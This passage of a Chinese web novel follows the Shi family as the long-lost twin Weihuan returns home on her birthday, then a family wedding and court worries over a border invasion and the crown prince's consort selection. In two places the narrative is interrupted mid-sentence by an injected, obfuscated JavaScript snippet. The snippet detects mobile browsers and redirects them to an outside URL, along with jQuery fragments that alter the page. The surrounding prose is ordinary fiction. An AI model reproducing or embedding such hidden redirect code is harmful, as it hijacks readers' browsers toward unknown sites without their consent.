及至六月初一当日,一早露水尚未蒸去,端木萌便已梳洗化妆齐整,穿上早已熨烫好的新裁的橘杏色衣裙,站在前院近忠堂那棵老杨树下翘首以盼。树上一窝鸟儿叫得啁啾,在夏日晨风扰动的浓绿的沙沙声中悦耳得很。雏鸟等候母亲投喂的焦急的喳喳声亦不恼人,只是好似那些鸟儿飞进端木萌的心里在叫似的,直教她一颗心“砰砰”响个不停,就是平静不下来。 行湘先去望潮阁又确认了一遍生辰宴的布置,便去寻端木萌。走在与贤池的桥上时,竟瞥到池子东面今年夏日迟迟未开的红莲一夜之间竟开了两朵,忍不住笑叹着嘟囔道:“真是好兆头呀。” 抬起头的一瞬,却又隐约瞧见池畔垂柳中有个粉红色的身影,忍不住蹑手蹑脚从后靠近,一手捉住了师棠欢的肩,又捂住她的嘴以防她惊叫出声惊扰到端木萌,笑道:“在这里探头探脑做什么呢?这个时辰,往常我们六姑娘不是都还在梦中流口水呢吗?” “我才没有流过口水!” “怎么不去和殿下一起?” 师棠欢绞着小手抿了抿嘴,别别扭扭的,最终也只是摇头不说话。 “姑娘也想在这里等妹妹回来吗?” 师棠欢点了点头。 “可是你先前不是答应了大家,等七姑娘回来的时候你要带着她把家里逛个遍吗?你现在不去吃饭,一会儿怎么有力气。又穿得这么少跑出来,万一着凉感冒——” “行湘姑姑你别说了,我这就回去吃早饭!”师棠欢捂着耳朵一溜烟跑了。 少女的裙摆像一尾艳丽的游鱼,徜徉在盛夏绿得发白的光晕里,很快不见了踪影。 行湘愣了一瞬,不自觉地抬手抚了抚鬓边。池中鱼儿惊起一圈涟漪又游到层叠的莲叶下,水面浮着的绿萍已不能倒映出人影。她放下手,悄步离开了这片浓绿。 “殿下,晨起天凉,还是披上这披风吧?” 端木萌没有拒绝,任由行湘将披风披到她肩上,又细心系好,方才道:“您这么一直站着也不是办法,不如我去给您搬把椅子来?” 端木萌看着她笑道:“你只是想让我回去,直说就是,哪里用得着你亲自搬椅子了。” 行湘也笑道:“我哪里敢呢。只是方才六姑娘已经出来寻您一回了。今日哥儿姐儿都在,侯爷还没回来,我担心二夫人自己在后面招架不住呀。” 端木萌笑叹:“说到这儿,我前些日子倒还和镜妤说,该快些叫焕哥儿把新妇娶进来才是。”她说着说着,想到什么,突然笑起来。 行湘好奇道:“殿下笑什么?” “镜妤彼时叉着腰,说,这些年就凭我们几个半大不老的,竟把这么些孩子养大了,也颇有意思呢。” 半大时就做了父母,忙活到如今也算不上老,瞧起来小有所成,倒也值得欣慰呢。 行湘随着笑了笑,便又道:“左右时辰还早,殿下不如回去歇一会儿、忙些别的,也别叫六姑娘觉得七姑娘回来了殿下就顾不上她了不是。我已在各处门前都安排人守着了,连通往咱们家各处街巷口儿都有人看着,保准一有消息就派人来告诉您。” 听了这话,端木萌方才一直隐隐锁着的眉头似乎舒展了几分,却仍沉默着兀自等待了会儿,才扶了扶行湘的手,转身往回走了。 快至午时,连师焕都已告假归来,一众兄弟姊妹齐聚望潮阁上,却都异常沉默。 突然有丫鬟来报,端木萌登时满眼希冀地起身,却只听得“侯爷回来了”,便又只坐了回去。 端木婉叹了口气,刚要劝她再定心神,却又跑上来一个丫鬟,喜笑颜开地向端木萌道:“夫人,是七姑娘,七姑娘回来了!七姑娘与侯爷一起回来的!” 端木萌蓦地起身,一把抓起身旁端木婉的手,面上一时间也不知是哭是笑,只问道:“他们自哪里来——到哪儿了?” “这会儿刚进了门,想来是在前院呢。” 端木婉只觉得握住自己的那双手手心发热,却是止不住地颤,便直接开口劝道:“你还等什么呢,快去罢!”端木萌闻言,这才像把一颗飞上天的心抓回了肚子里,感激似的地望了她一眼,随即便径自冲下楼直往前院去。 她这一下去,几个孩子无一人再坐得住。棠欢一马当先,拎起裙摆就往下跑,露出一截小腿像兔子一样稳健结实,踩得木楼梯“噔噔”响。 师婷欢跟在后面,瞧着她这副小马驹的样子两眼一黑。师幼芷和师幼桐跟在后面走着,倒是不急,只看见几个哥哥像离弦的箭一样从她们身旁窜了过去,连师焕都跟着小跑了两步,唯有师玘剩在她们身边,一手牵一个妹妹,慢慢走过去。 棠欢向来跑得快,没几步竟超过了端木萌去,一门心思地往前院冲,直到已能瞧见那老杨树后的人影时才突然觉得紧张起来,一颗心倏地提到嗓子眼,脚步也随之止住。她猛吸了两口气,又深呼吸了两次,这才学着平日里师婷欢的样子似的,端端庄庄地绕过老杨树,便瞧见前院里站着的与平日无甚区别的尚且穿着官服的父亲——以及父亲身侧那个转过头来怯生生看向她的,她的孪生妹妹。 她穿着一条豆蓝的襦裙,罩着天青色的外衫,双髻散发,乌黑的发丝间插着两只银钗,并几朵淡粉色的鲜花。比起棠欢,她的身量要苗条得多,却并不让人觉得矮小,反倒看上去很结实健康,正与她那双透露着些羞涩和怯意却不减明亮的眼睛一般,是外面广阔的天地养出来的一只矫健的小兽。她被师霖攥着一只手,向棠欢张了张嘴,却又不知道说什么似的抿唇,微微低下头去,正有些局促,另一只手却被骤然窜到自己身前的棠欢牵起:“好久不见,薇欢,我是你的孪生姐姐,师棠欢。” “好......好久不见。” 师霖倒笑起来:“怎么说‘好久不见’?” “我与妹妹出生前那十个月日日相见,如今自然是好久不见。”棠欢答道,接着便拉着薇欢,滔滔不绝地介绍起来:“这是我们的爹爹,你应该已经知道了。这是我们的娘亲——”她侧身给流着泪扑上来抱住师薇欢的端木萌让出地方,接着指着陆续到的众人一一道:“这是二哥,这是五哥,这是三哥,这是大姐姐,这是大哥,这是四姐姐和五姐姐还有三哥。这是二伯母,还有二姐姐和三姐姐如今不在,还有......” “好了棠欢,你说得这么快,薇欢哪里认得过来。”师婷欢笑道。 师薇欢大半个身子被母亲抱在怀中动弹不得,好在另一只手因为父亲忙着安慰母亲而被松开。她试探着回抱住身前这个陌生的妇人,轻轻唤了声“母亲”,便引得她更大声的哭泣。 “听说那些贵族女子都是纤声细语、笑不露齿的,很不好相处。”师薇欢想起道观中师兄的话,只觉得他说的大约不对。至少她的这位生母,名头传出去能把自己从前所见的那些所谓的“平民百姓”吓死的云和长公主,好像并不是那般不好相处的样子。 至于其他人,她大略环视一圈,并未从谁的眼中看出排斥与恶意,便也暂且放下心来。 “云姝,云姝,薇欢已经平平安安地回来了,你还这般哭什么。” 端木萌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265702|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽噎着接过帕子擦了擦眼泪,侧头瞪了眼师霖,再回头看向怀中的小女儿,瞥到她抬起的右臂漏出来的一点点浅淡的牙印似的印记,眼泪差点又要落了下来,却终是笑着捧着她的脸道:“薇欢,薇欢,回来就好,回来就好。”她一边起身牵起她的手往后面走,一边道:“今日是你和你姐姐的生辰,我们提前好些日子就开始准备,只等你回来......先与我去换身衣服,然后我们便去吃饭。” 因着怕辗转到后院去耽误时间,端木萌早命人将为师薇欢准备的衣裳拿到了胜吴楼。其余人自然无需跟着去,便被端木婉全都又赶回了望潮阁上坐着。 师霖自要去将官服换下。没了他与端木萌在身旁,师迟总算是能“随心所欲”地说话,甫一落座便道:“我今日可算是见到什么叫‘孪生’姐妹了,这七妹妹简直是和六妹妹一个模子刻出来的,都不必费心思去验明正身了。” “我怎么没觉得她们两个长得像?”师琦道,“那七妹妹瘦得和刚出生的小雀儿一样,哪像六妹妹珠圆玉润的。” “七妹妹瘦,那肯定是这么多年在外面吃得不好,身子骨弱。这回回来吃得多了、好了,自然就养回来了。”师迟道, “这下子七妹妹接回来了,想来我爹娘的心也就能宽了。说不定我娘一高兴,便能解了我的禁足,妙哉妙哉啊。” 师迟还没笑完,就被师婷欢的扇柄敲到了额头:“你想得美。放你出去作甚?去那酒楼与人打架斗殴、惹是生非么?” 师迟捂着额头直向后躲,嘴上却不服:“原是童家那厮先醺酒滋事,若我不阻止,那姑娘便要被他活活打死了,怎么到头来全是我的错了?” 师焕摇了摇手中的茶杯,道:“你不去酒楼,便什么事都没有。” 师婷欢又道:“何况那童家今年刚有一女嫁到了官氏,如今又正在和右卫上将军谭梁的女儿议亲,何苦因为这种事与之结怨。” 师言却道:“童家不过是商贾出身,靠捐官才得了那么两个官位。娶了童家女的那位不过是官氏旁支,谭梁素与我们家来往不多,何苦犯得着忌讳。” 师婷欢闻言不住地摇头叹气,似是被气得已经不想再说话,只是看向师焕。师焕优哉游哉地品了口茶,才开尊口道:“官氏旁支是否要紧,不是该你我评判的,而是要看官氏那二位伯父的意思。左、右两位上将军出自不同派别已是惯例,林将军站队于我,谭梁将军自然不会再与我们多来往,正因如此才更改谨慎以待。” 师言脸有些红,沉吟半晌,才道:“这般看来,童家是意在靠姻亲在朝中取得一席之地。” 师焕点点头,“还算聪明。民间有句俗语叫‘拔出萝卜带出泥’,童家这般‘广撒网’而不站队,来日就算谁家倒台清算,也不至于使其全军覆没,也算是中庸之道、保全之法了。” 师迟却“嗤”道:“我还以为那些个先生津津乐道的‘中庸’是个多高深的东西,原来这也算‘中庸’。”无疑额头又挨了师婷欢的扇柄一记。 端木婉独坐一旁,眼神遥遥望着楼下池子里若隐若现的锦鲤,脑中却在想着方才见到师薇欢的样子。 那姑娘通身的穿戴倒不知是谁置办的,却能看出来是新裁的、仔细浆洗过的,甚至衣襟、袖角和裙间都能隐隐瞧见绣着花叶的纹样,可见用心。倘若放在京畿那些农户人家,恐怕这已是难得的一身体面衣裳,可若放在师家,恐怕随意哪个夫人身边跟着的丫鬟都瞧不上眼。 锦鲤潜入芦苇丛中,慢慢不见了踪迹,只能时不时瞧见一两支东摇西晃的芦苇。 倘若在山溪中捉来一只游鱼放在这池中,就算再般呵护,它又能否活得长久呢? “不过我原来还担心七妹妹骤然回来会拘谨约束,方才瞧去,似乎是我担心多余了。” 幼芷的话蓦然在心头飘过,端木婉心头褶皱了一瞬。她收回视线,慢慢端起茶杯,一口一口饮着。 这也是出乎她意料的事。那姑娘似乎未觉得自己与这处所在的违和,亦未在这些堪比陌生人的家人面前表现出十分的生疏拘谨,似乎她原本就是师家宝着爱着的七姑娘,只是外出云游了一番归家而已。 “母亲,你在想什么这般出神?”师玘从她手中轻轻拿走早已经喝尽的茶杯,重新倒满端过来。端木婉却只摆了摆手,微笑道:“无妨。你不日就要授官离家了,这般和大家聚在一起的机会可就要少了,怎么不和他们多说些话?” “七妹妹归家,我亦欣喜,但心中没有什么话想说。只是等着一会儿能吃到三婶婶亲自下厨做的菜罢了。” “也罢。你三婶婶的厨艺是之前与你姑姑学的,的确是别处吃不到的。”端木婉抚着右膝起身,道:“我去瞧瞧他们,别是换个衣裳也哭得不行。” 71.第 71 章 几番又哭又笑的,总算宴罢。 端木萌早已疲倦,只教师霖扶她回留容轩去歇息。师棠欢便闹着要带师薇欢好好逛逛家里各处,婷欢原本想教薇欢陪着端木萌,却拗不过她,便也只好作罢。 “呐,我们现在在的这个地方,一般年节家宴或是平日宴客时便在此,叫做‘望潮阁’。” 棠欢拉着薇欢下楼,见薇欢眼神流连于楼梯两侧的壁画,便道:“这两侧原本是镂空的木雕,这些壁画都是前些年修葺这楼时母亲命人画的,上面的金线都是金箔镶嵌的,据说请的是昔年世祖皇帝修建大昭寺时在那寺中画壁画的师傅的传人。不过这壁画上倒不是佛教的那些东西,只是母亲喜欢的一些民间故事罢了。” 二人自后门出去,师棠欢摊手向那楼,道:“这就是你方才换衣裳的地方,胜吴楼。我们最喜欢在这里捉迷藏,或者宴上累了,就到这里来躲清闲,或者——”她指向东边的甫雨居,“到那里!”穿过一片杨柳,午后的光晕肆意挥洒,熏风与她们一道穿梭,又暖又凉。师棠欢拉着师薇欢的手钻进甫雨居,“这里其实才是原本该用作宴饮时休息的地方,不过我们常懒得过来。不过这里的屏风——”她用手指弹了弹那屏风面,“曾经被我用二哥的匕首刺破过,后来就换了这个琉璃的。” “琉璃......”师薇欢沉吟着,也伸出手指,用指腹轻轻摸了摸那屏风,只觉得指尖润滑生凉。“摸起来很舒服。”她向棠欢笑了笑。 “是吧,我也这么觉得。不过姑姑在逢州的房中还放着一个玉屏风,那个摸起来感觉更好。夏日里闷热的时候简直想让人抱着那屏风入睡呢。” “姑姑?” “我们的二姑姑就是当今的皇后娘娘,那屏风就是她的。还有一个大姑姑,很久前就去世了。” 棠欢见薇欢有些发愣,便解释道:“这原是我们出生前的事情了,似乎大姑姑原本身子就弱,彼时又不幸丧父失子,孀居在家,后来似乎就抑郁而终了。”接着便借此又将家中所有人的关系辈分全都与薇欢絮叨了一遍。 一通说下来,便也穿过家祠,到了后院。因着爬惊扰端木萌休息,便绕过留容轩,直接去了东侧院。 “锦心阁里如今存的尽是大姐姐的嫁妆,再就是些陈年老物件,倒也没什么可看的。但是念栀堂却几乎是我们姐妹们亲手布置起来的,如今我们习书、作画、插花,皆聚在此处。过阵子你也把喜欢用的书具物件都搬进来。” 薇欢环顾了一圈东侧院,问道:“这附近似乎也没有栀子树,为什么此处会叫念栀堂呢?” “据说是二姑姑小时候有一阵子很喜欢栀子,才取的这个名字。喏,这旁边的留华轩就是二姑姑出嫁前的住处,如今是四姐姐和五姐姐在住着了。”棠欢站在院门前张望一番,叹道:“恐怕她们这会儿也没回来,罢了,我原想带你去瞧瞧这院子里种的木兰和月季,都是二姑姑当年就种下的,据说还是当年祖父特意从逢州为贺姑姑百日移来的,这些年花匠也格外关照着,开得格外好。如今看来只得改日再说了。” 薇欢笑道:“这又有何妨。左右我如今已经归家,日后想见,还不是日日见得。” “也对,我怎么这也忘了。” 二人自普阳堂逗了一会儿如今师琦养在那儿的鸟儿,便自东后院至留润轩去。 “方才我瞧见这里东边还有一处房子,那里是什么啊?” “哦,那儿是明需阁,后面是明容阁,中间有个明苑种了几棵梧桐。这两所一向只做库房用,倒也没什么好看的。这留润轩原先父亲母亲刚成亲的时候就是住在这里,院门口这一东一西两棵梨树就是那时候种下的。如今是又要修整一番留作二哥成亲后住了。” 薇欢尚且驻足在梨树下打量着,棠欢已经一溜烟窜到旁边的习风阁:“七妹妹,快来这儿!” 薇欢愣了一瞬,转头看见棠欢一手掀着梁上的竹帘,另一手像风车一样正用力地向她挥着:“快来快来!” “来了!” “这里!”棠欢骄傲地站在习风阁中央,抬手感受着南北穿堂而过的习习凉风,“这里是夏天家里最凉快的地方,比岁苍斋凉快,比芦花馆也凉快!” 薇欢前后转了转,此处虽命名为“阁”,却更像“廊”或是“亭”,如今夏日,南北向皆只用半面竹帘作挡。南边是一个水池,又对着留容轩与念栀堂和锦心阁间的过道,北边再无其他建筑遮挡,通风绝佳。 “南边这个池子叫水沁池,引的是地下泉水的活水。习风阁又从水沁池引水,供我们点茶。或者拿那青瓷碗盛一碗净水,摘朵池子里的白莲,还有小莲蓬和小浮萍叶儿放在里面,再去捉两条小鱼儿来放在碗里看它们玩儿,也很有趣呢。” 阁中陈列的茶具和各色摆放的瓶瓶盏盏,凡是师棠欢喜欢的,都一一得到了她的介绍。 出了习风阁时,太阳已经滑到了西边的树梢,鸟儿也吱喳着归了巢。薇欢盯着那窝鸟儿看了一阵儿,转头问已经趴在桥柱上用柳枝逗鱼的棠欢:“天晚了,是不是该回去了?” “回哪里?”棠欢问道,随即又反应过来,笑道:“不碍事。只要不是出了家门,多晚回去睡觉都行。” 正说着,幼芷和幼桐挽着手走过来,看见她们也道:“巧了,我们要去二伯母那里吃晚饭。你们去吗?” 棠欢看了看薇欢,道:“罢了罢了,明儿一早我们再去二伯母那里吃蛋羹,今晚我们还是先回留容轩罢。” “那我们先过去了。”幼芷顿了顿,又道:“三哥就要授官外放了,二姐姐和三姐姐会不会回来?” 棠欢叹了口气,摊手道:“我这些日子也没收到她们的信,谁晓得呢?不过九月太子生辰宴的时候说不定二姐姐会与怀宁姨母一道回京来罢?” “说不准。二伯母说怀宁长公主似乎不好呢。” 薇欢归家后没有几日,便是师焕成亲的日子。喜上加喜,连姜舜见了端木萌,都忍不住夸赞她似是年轻了好几岁,见了薇欢也是拉着她的手不住称赞,惹得端木萌一双杏眼像装了星星,竟比少女时似乎还水灵几分。 师晟与萧晨皆早已故去,成亲次日,新婚夫妇按礼数去祠堂祭拜过后,便至留容轩来拜见长辈,接着也好叫新妇与小姑们相认。 师霖自始至终对师焕无比看重,近年来更是因他越发成熟持重而对他青睐有加,对他早已不是长兄遗孤或是家族嗣子,而是恨不得对外人把他当作自己的长子介绍。 而这个长媳,更是他们亲自比着唐烨与萧晨的样子在各大望族中精挑细选来的,礼重非常。 言晓风亦没有教他们失望。 她与婷欢和景安同龄,过不了多久就将满二十,面若银盆,肤若凝脂,打眼看去好似从仕女图中走下来的人物,细看远山眉下一双有些细长的眼睛微微上挑,不怒自威,笑起来却又有一对儿饱满的卧蚕盈在眼下,多了几分娇憨亲和之态,教人心生亲近欢喜。行止之间更是端庄有度,气质华然。 端木萌仔细看过,心中暗叹仿佛唐烨再世,倒不免更放心几分,已是做好准备要这好容易得来的侄媳接手她肩上这些劳碌事。当晚便忍不住私下与端木婉道:“我看这孩子亲近的很,真是恨不得当下就将管家钥匙交给她,拉着她与我看账本。” 端木婉笑道:“人家小夫妻新婚燕尔,你还是放他们腻歪些日子罢。” 端木萌点头,又道:“不过说真的,我原想着焕哥儿与新妇从前又没见过,万一不合他心意倒麻烦。这下子看去两人至少是相敬如宾,我和子持才放下心。不然恐怕未来几十年我都不敢早早死去到地府见大嫂了。” 端木婉皱眉道:“说什么晦气话。” 有关过去,总是易惹愁肠。 端木萌却不在意,只道:“这些日子忙焕哥儿的事儿,夜里我也总梦见些旧时的事儿。在这院子里走一遭,仿佛昨日还是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271389|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我初嫁进来做媳妇的时候呢,如今竟也有了媳妇了。”她忍不住感慨道:“真是‘岁月无情、暗消年少’啊。” 这话倒把端木婉逗笑。她抚膝乐道:“你也别在这儿闲着感慨了。还有半个多月就是婷欢出嫁的日子了,且有你忙的。” “如果是太子的事,容后再说。” 师冉月脚步顿在门边。 清和殿内看上去依旧没有什么伺候的人,此刻她却觉得耳边嗡嗡作响,好像周遭所有的尘埃全都不安分地涌动起来,接着又此起彼伏地炸开。 她定了定神,迈步走到案边,将手中的东西递到他手边,轻声道:“怀宁长公主四日前病逝于蒲城,临终前请求随葬元陵。这是岳添夫妇的奏疏。另外,岳添请求改封他为怀宁侯。” 国朝公主逝世一般随葬父陵或直接与驸马合葬于夫家陵中,少数得逢恩典另立公主陵。像端木葭这般请求随葬在自己兄弟的陵寝的倒是少之又少。 她或许一直怨着自己的父亲。为同为外祖家的夫家,为自己的母亲。 端木玄终于抬起头,伸手打开那份奏疏看了看,道:“这都无妨,交给礼部去办罢。” 师冉月拱手立在原地,兀自站了一会儿,才问道:“是前朝有什么要紧的事么?” 端木玄这才又看向她,眼中满是疲惫与她多年未见的严肃认真,修长的手指微曲着指节一下一下扣在桌面,像枯瘦的竹枝。 “纳真起兵占领了端县。” 师冉月一惊。 端县北距涯州不过百里,天气晴朗时站在涯州城上甚至能望见端县飘起的炊烟。 不待师冉月开口,端木玄便又接着道:“我已命官成潜至涯州与其交涉,谭梁后日一早也会带兵启程北上。若能和平解决,自是最好。” 师冉月心中清楚,近几年虽说边疆没有战事,朝中亦未曾劳动民众大兴土木,但举国上下天灾不断,百姓始终未能休养生息。前两年为了充盈国库改税,施行下去未能叫户部账上多添几笔,倒又逼得几处百姓背井离乡,甚或揭竿起义、占山为匪,无不有之。这般折腾下来,如今的淮朝自是不能容许再一次大规模的战事发生。 甚至有人猜测徐聆雨草草了之的丧仪,与她当年关于改税的谏言也或许有些干系。 “会有法子的。”师冉月在心底轻叹一声,挪步到他身后轻轻为他揉着太阳穴,斟酌道:“官大人一向善于谈判。何况纳真前些年大败于我朝,如今没有万全的把握,想必也不会轻易大举进犯,也许只是想讨要些好处罢了。” 端木玄却皱眉道:“若只是东北,倒也好说。西南那边不知怎么得了纳真起兵的消息,竟以此要挟我朝,每岁索要三万两岁币,否则便要以诸郡官员做人质,再行叛乱。” 师冉月叹道:“不如便先许诺了他......后宫去年俭省开支也有一万银,填补一番这些钱还是有的,总不至于再劳动兵马。” 端木玄却嗤笑道:“西南那边不过是些软柿子。朕只恨他们趁火打劫,待东北事情了了,总要敲打一番,倒也费不了多大力气。这皇位既要交到太子手上,朕自不会做甩手掌柜,留下烂摊子等小辈来收拾。” 提及此,师冉月不免一颗心又揪起,却看着眼前满桌的奏疏战报终究是无法开口,良久才悠悠叹道:“陛下事忙,臣妾便不叨扰了。太子生辰宴诸事尚未敲定完毕,臣妾还要再去布置,便先告辞了。” 端木玄亦未作挽留,只挥了挥手示意。一身玄色衣袍隐在幽暗烛光里,暗淡沉寂。 师冉月敛眉走出殿外,日光乍眼倾泄下来,才惊觉此时不是夜里。她回头望了眼殿内,向侍立在一旁的薄枝问道:“近黛呢?” “禀娘娘,近黛姐姐去了涯州。” 师冉月心中暗叹,闭了闭眼,走到日光下,展了展衣袖,站定不知道在想些什么,良久才对早已在身旁等了半晌的音儿道:“去请云和长公主入宫罢。” 72.第 72 章 “长主虽眷顾岳氏,但终究更在乎端木氏尊荣。另则,长者已逝,我们作为小辈,除却孝道,终究还要为自己做打算。抛却颍川侯之位,岳添及其后人便与从前的岳氏没有关系了。这也是侯爷的意思,望姑姑恩准。” 师景安言语柔缓而恳切,话音落了,也只是低眉端坐在那里,好似一尊玉观音。 师冉月轻叹一声,只道:“陛下已经准奏,礼部不日会拟旨改封。” “侄女谢姑姑。” 称呼亲近,行的却是君臣之礼。 “日后你们有何打算?” “我与侯爷打算暂留京城,待三弟完婚后,便回蒲城定居。” 师冉月点了点头,也不再与她多寒暄,却还是在她告辞欲走时,忍着良心左右摇摆的那点不安,开口道:“景安——你当初嫁到岳家,还是因为怀宁长公主的意思。若是你想,我可以下一道谕旨,教你与岳添和离......你不必顾虑孩子,留在岳家,带回师家,或是你自立门户,都可以。” 听到“自立门户”,师景安眉心一跳,却还是低头行礼道:“谢姑姑好意。我对这桩婚事没有什么不满的,侯爷待我也很好,我愿与他这般继续过下去。” 走出坤宁殿,小桑忍不住道:“夫人,方才皇后娘娘既已那般说了,你为何不答应下来呢?” “从稷尚且年幼,不该承受父母分离之苦。何况侯爷待我的确不错,我身在福中,何苦改变现状呢。何况岳家有昔年留存下的家私,有长公主的嫁妆和这些年的经营,守着这些便能生活得平淡自如。回到师家,未必是什么好选择。”她回头望了望坤宁殿,道:“皇后娘娘是想打破师家女身不由己的这点不幸,是以大约对我心有愧疚罢了。” 抬眼望去,层层金瓦鳞次栉比,一眼看不到头,秋日高悬的穹顶在这宫墙内也不过是可怜的方寸。 “时辰还早,想来她们都还未启程入宫,大约是碰不上了,我们先回侯府罢。” 师棠欢将师薇欢拉到那面一人高的穿衣镜前,镜中二人穿着一模一样的嫩绿裙衫,只是一个的衣襟绣的是海棠,一个则是蔷薇。 “看,我们两个长得多像!只是你的鼻子和嘴更像娘的一点,我的更像爹一点。”三个多月以来,薇欢身上添了不少肉,现在的脸型身型都与师棠欢几乎一模一样了。只是她的个子本来就不逊于师棠欢,如今看起来竟还比她高了一些。 师薇欢眨着和身旁人如出一辙的桃花眼凑近了镜子仔细看了看,问道:“这是怎么看出来的?” 师棠欢把她转向自己,指了指自己的鼻子,道:“你看,我的鼻尖是尖尖的。”又指了指她的:“你的这儿是圆的,鼻翼也比我宽一点点。”又双手翘起她的嘴角:“你的嘴角是尖的,但我的嘴角是圆的。” 师薇欢盯着她的嘴角看了一会儿,道:“明明也是尖的。” 师棠欢张开嘴笑起来,道:“你看,这样就是圆的了。” 看着她圆圆的嘴角,师薇欢也忍不住笑起来:“真的诶。” 两人闹着笑作一团,直到绮香走进来看着她们两个在镜子前互相对着又是动手动脚又是傻笑个不停,无奈笑道:“我的好姑娘们,快别闹了,四姑娘和五姑娘都已收拾齐整要走了,你们这——诶呦,头发又乱了。” 棠欢一面在镜子前重新做好,拿起梳子自己为自己理了理鬓角有些松散的头发,一面满不在乎道:“迟些又有什么,左右我们是去给人做配的。” 薇欢与棠欢一同听过端木萌的交代,却还是有些不明白:“皇后姑母既然邀请各家适龄的女儿在今日入宫,为何我们便是去做配的?” “未来太子妃的人选早就定好了,今日不过是走个过场。何况即便没定好,别人家的女儿都有机会,我们也是没机会的。没有人会再容许师家出一个皇后了。” 磨磨蹭蹭到了宫中,才听说错过了和师景安见面的机会,师棠欢立马悔得不行,哭丧着脸兴致不高。师幼芷看不下去,安慰她道:“过几日总是要去二姐姐家中的,早晚见得到。” 端木萌与端木婉一早便径直去了皇后宫里,各家姑娘们则被先行安排到东宫歇息等候。师家另外三个姑娘都是一副驾轻就熟的样子,唯有薇欢一面学着三个姐姐游刃有余的姿态,一面不住地偷偷打量周遭的宫殿寰宇,心下暗自好奇那位近来频频在师家人口中提起的太子殿下的样子,有些心不在焉。 不过东宫里的氛围并不像她想象中那般秩序井然、肃穆庄严。各家姑娘到了后便被引到花园,三三两两地结伴游园交谈,很是自如。 师家几人一到,便有人前前后后围过来搭话。有薇欢前些日子已经认识的、到师家玩过的官家的一对堂姐妹官闻霏和官妙君,也有她还未曾谋面,但早与师家姐妹们交好的几个,或是家中连着亲的,也都经棠欢热络地介绍着相识了。 官妙君抱住师棠欢的手臂,嘟着嘴抱怨道:“真是的,安歌,你们怎么才来,我和三姐姐都到了快一个时辰了!” 官闻霏却摆手笑道:“哪里就有一个时辰了,顶多一刻钟。” “啊呀,别管。我与那些人都不投缘,只等着你们,等得花都谢了。” “不是还有吴姐姐么?我记得你前阵子还与我说,宁可自家三个姐姐都不要了,也要吴姐姐当姐姐呢。”棠欢拉着她的手笑道。 闻言,官妙君一双狭长上挑的凤眼瞪大,“你们可不晓得就方才这一会子功夫错过了多少热闹!我要是吴姐姐,直接就回家去了。” 师棠欢瞧着她的样子来了劲,只催着她快说。官闻霏却捂了她的嘴,将一旁伸着脖子与树杈上的灰喜鹊相面的步宁宁拉过来,道:“宁宁,你来说罢。我和妙儿也是来了才碰见,也不晓得究竟。这丫头惯会夸大其词的,谁知道编出来点什么。” 步宁宁看着官闻霏轻拧官妙君脸颊的样子愣了愣,又听师棠欢和官妙君七嘴八舌地讲了半天,才明白过来她们说的是什么事,这才慢悠悠道:“倒也没什么大事。只是方才宋妤和成居浮打起来了,宋妤要把宫人奉上来的茶往成居浮脸上泼,成居浮一躲,就正巧泼到了她后面路过的吴清商身上。宋妤又把责任全推给那宫女,这会儿大概扭打着到皇后娘娘那里去了。” 师薇欢晓得步宁宁是师迟未婚妻的妹妹,听着她这般死水无波的语气,加上她对提到的人皆是直呼大名,心下倒有些嘀咕。 “成家小姑姑为什么会和宋姑娘打起来?”师幼桐也是不明就里。 “成家小姑姑的堂姐和宋妤的大姐姐都嫁到了童氏。宋妤是个泼辣没脑子的,她那姐姐却是个绵羊似的没主意的人,听说日日被长嫂压一头,上头婆母和底下小姑们也都不是省油的,似乎过得很艰难。想来宋妤是想为她姐姐讨些公道罢。不过成夫人也不过是性子刚硬冷淡了些,倘若她不这般,在那府上恐怕也无法立身了。”官闻霏叹道。 童氏是商贾出身,一朝有幸得以成为皇商,这些年与各家联姻广攀关系,行事得以畅通无阻,也因此得以从中谋利,赚了个盆满钵满。如今的童氏的族长童有贤还给自己捐了个朝议大夫的官,似乎便扬眉吐气,好不得意。他的长子异县团练使童博娶的是副都指挥使成巳的堂妹成居溪,次子娶的便是闽中王妃宋滢的侄女宋娆,也就是宋妤的姐姐。 成巳还有一个同父异母的幼妹成居浮,今年方才十二岁。自从他的女儿成绰仙与师琦定亲后,师家几个姐妹便随了这位未来五嫂的辈分,叫成居浮作“小姑姑”了。 而那吴清商原是左相吴称与夫人舒凉熏的独女。夫妇二人如今年过四十,早已不再盼着旁的子嗣,膝下只这么一个女儿,自然宝贝非常,却也因此在为女儿择婿时精挑细选,左看右看都不满意,以致于如今吴清商年已十七,尚未定亲。谁能成为吴相的乘龙快婿倒也算如今坊间一桩津津乐道的谈资。 曾几何时端木萌还想为吴家做个媒,亲自去府上拜访,回来却彻底打消了兴致,只对端木婉道:“我原先倒是晓得舒夫人自幼随着她父亲舒大学士读经修史,成日泡在笔墨丹青中几乎不问世事。谁想她这女儿竟也学了她的样子,甚至恐怕不止——我今儿去一瞧,恐怕再过些日子,这姑娘就要带发修行做女冠去了。” “宋夫人过得不好又不是成夫人的错......”官妙君还要再说,却被官闻霏拧了下手,想到了什么,这才悻悻地收回话头。 师棠欢却叹道:“若不是如今贩盐的事要借他们家的路数,我们何必这般隐忍?几句实话还不许人说了么。” 师幼芷瞪了她一眼,轻声道:“大姐姐她们不在,你便这般口无遮拦的,孰轻孰重都不晓得了?退一万步说,也不该背后语人是非。” 